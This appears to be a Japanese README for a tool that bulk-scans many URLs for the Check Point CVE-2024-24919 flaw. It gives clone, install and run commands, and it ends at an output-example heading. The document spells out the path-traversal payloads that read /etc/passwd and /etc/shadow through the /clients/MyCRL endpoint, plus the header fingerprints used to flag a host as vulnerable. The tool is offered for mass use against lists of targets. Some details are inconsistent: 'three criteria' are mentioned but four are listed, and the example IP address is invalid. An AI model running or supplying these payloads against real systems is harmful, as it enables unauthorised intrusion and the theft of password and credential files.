インストール

1. リポジトリをクローンします:

   root@kitploit:~

   git clone https://github.com/ifconfig-me/CVE-2024-24919-Bulk-Scanner.git
   cd CVE-2024-24919-Bulk-Scanner
   

2. 必要なライブラリをインストールします:

   root@kitploit:~

   pip install requests termcolor
   

使用方法

1. URLのリストを含むファイルを準備します:

   1行に1つのURLを記載したテキストファイル（例: urls.txt）を作成します。各URLが https:// で始まることを確認してください。例:

   root@kitploit:~

   https://example.com
   https://testsite.com
   https://vulnerable.com
   https://123.456.789.10:8080
   

2. スクリプトを実行します:

   root@kitploit:~

   python CVE-2024-24919-auto-v2.py -t 150 -f urls.txt
   

3. 出力を確認します:

   スクリプトは、スキャンの進捗と結果をターミナルに表示します。脆弱なURLは Vulnerable URL found: というメッセージで識別されます。

4. 結果:

   • 進捗と結果 はターミナルに表示されます。
   • リクエストとレスポンスのログ は、n2バージョンでは request-analyze.txt と request-analyze-v2.txt に保存されます。
   • 脆弱なURL は、v2バージョンでは checkpoint-results.txt と checkpoint-results-v2.txt に保存されます。

スクリプトの詳細

• スクリプトは、各URLの /clients/MyCRL エンドポイントに2つのペイロードを含むPOSTリクエストを送信します:

  • aCSHELL/../../../../../../../etc/passwd
  • aCSHELL/../../../../../../../etc/shadow

• レスポンスヘッダーを以下の基準でチェックします:

  • Server: Check Point SVN foundation
  • X-UA-Compatible: IE=EmulateIE7
  • X-Frame-Options: SAMEORIGIN
  • ステータス行: HTTP/1.0 200 OK

• レスポンスが上記の3つの基準のいずれかに一致する場合、そのURLは脆弱とみなされます。

出力例